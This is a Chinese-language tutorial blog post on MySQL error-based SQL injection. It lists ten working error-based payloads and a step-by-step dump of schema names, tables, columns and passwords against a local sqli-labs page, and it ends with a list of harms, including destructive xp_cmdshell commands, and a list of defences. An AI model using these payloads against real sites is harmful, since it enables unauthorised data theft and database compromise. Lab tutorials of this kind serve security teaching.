MYSQL注入 BYPASS-1.7报错注入

释放双眼,带上耳机,听听看~!

SQL注入(英语:SQL injection),也称SQL注入或SQL注码,是发生于应用程序与数据库层的安全漏洞。简而言之,是在输入的字符串之中注入SQL指令,在设计不良的程序当中忽略了字符检查,那么这些注入进去的恶意指令就会被数据库服务器误认为是正常的SQL指令而运行,因此遭到破坏或是入侵。

0x00 报错注入

报错注入在我们不能联合注入的时候也是非常重要的网上给我们提供了很多中报错注入 这里直接引用 https://www.cnblogs.com/wocalieshenmegui/p/5917967.html 一文了

1.floor()

select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);


2.extractvalue()

select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));


3.updatexml()

select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));


4.geometrycollection()

select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));


5.multipoint()

select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));


6.polygon()

select * from test where id=1 and polygon((select * from(select * from(select user())a)b));


7.multipolygon()

select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));


8.linestring()

select * from test where id=1 and linestring((select * from(select * from(select user())a)b));


9.multilinestring()

select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));

10.exp()

select * from test where id=1 and exp(~(select * from(select user())a));

每个一个报错语句都有它的原理 比如 exp() 报错的原理 ,手册说到exp是一个数学函数 取e的x次方,当我们输入的值大于709就会报错 然后~取反它的值总会大于709所以报错。

简单的用报错语句来注入一下把这里我就利用函数 updatexml()

updatexml (XML_document, XPath_string, new_value); 
XML_document: 是String格式,为XML文档对象的名称,文中为Doc 
XPath_string : Xpath
new_value :String格式,替换查找到的符合条件的数据 

其中关键点就是XPath_string 这块了 因为我们传入的的不是XPath_string,为什么要使用concat 这个函数呢,因为它是个连接函数你不用的话(updatexml(1,(select user()),1)) 这样也可以但是需要字符中有特殊字符,才会报错,同时它会被中间的特殊字符截断,所以需要用到concat用特殊字符给他连接起来。

爆库:

http://127.0.0.1/sqli/Less-1/?id=1' and updatexml(1,(select concat(0x7e, (schema_name),0x7e) FROM information_schema.schemata limit 2,1),1) -- +

爆表:

http://127.0.0.1/sqli/Less-1/?id=1' and updatexml(1,(select concat(0x7e, (table_name),0x7e) from information_schema.tables where table_schema='security' limit 3,1),1) -- +

爆字段:

http://127.0.0.1/sqli/Less-1/?id=1' and updatexml(1,(select concat(0x7e, (column_name),0x7e) from information_schema.columns where table_name=0x7573657273 limit 2,1),1) -- +

爆数据:

http://127.0.0.1/sqli/Less-1/?id=1' and updatexml(1,(select concat(0x7e, password,0x7e) from users limit 1,1),1) -- +



在报错里面直接使用 MySQL最基本的查表就可以了,你也可以把concat放在外面 updatexml(1,concat(0x7e, (select password from users limit 1,1),0x7e),1)

自己灵活多变,这里我值得注意的是它加了连接字符md5只能爆出31位,你可以用分割函数分割出来。

substr(string string,num start,num length);

string为字符串

start为起始位置

length为长度

http://127.0.0.1/sqli/Less-1/?id=1' and updatexml(1,concat(0x7e, substr((select md5(password) from users limit 1,1),1,16),0x7e),1) -- +



因为我密码不是md5的 所以我加了个密来分割。

可能造成的伤害

数据表中的数据外泄,例如企业及个人机密数据,账户数据,密码等。

数据结构被黑客探知,得以做进一步攻击(例如SELECT * FROM sys.tables)。

数据库服务器被攻击,系统管理员账户被窜改(例如ALTER LOGIN sa WITH PASSWORD=’xxxxxx’)。

获取系统较高权限后,有可能得以在网页加入恶意链接、恶意代码以及Phishing等。

经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统(例如xp_cmdshell “net stop iisadmin”可停止服务器的IIS服务)。

黑客经由上传php简单的指令至对方之主机内,PHP之强大系统命令,可以让黑客进行全面控制系统(例如:php一句话木马)。

破坏硬盘数据,瘫痪全系统(例如xp_cmdshell “FORMAT C:”)。

获取系统最高权限后,可针对企业内部的任一管理系统做大规模破坏,甚至让其企业倒闭。

企业网站主页被窜改,门面尽失。

避免的方法

在设计应用程序时,完全使用参数化查询(Parameterized Query)来设计数据访问功能。

在组合SQL字符串时,先针对所传入的参数加入其他字符(将单引号字符前加上转义字符)。

如果使用PHP开发网页程序的话,需加入转义字符之功能(自动将所有的网页传入参数,将单引号字符前加上转义字符)。

使用php开发,可写入html特殊函数,可正确阻挡XSS攻击。

其他,使用其他更安全的方式连接SQL数据库。例如已修正过SQL注入问题的数据库连接组件,例如ASP.NET的SqlDataSource对象或是 LINQ to SQL。

使用SQL防注入系统。

增强WAF的防御力

本文如有错误,请及时提醒,避免误导他人

@404 aleenzz

  • 公众号:aleenzz

人已赞赏
安全教程

MYSQL注入 BYPASS-1.6初识注入bypass

2019-11-14 16:15:48

安全教程

MYSQL注入 BYPASS-1-5数据库信息收集

2019-11-15 9:30:50

0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
今日签到
有新私信 私信列表
搜索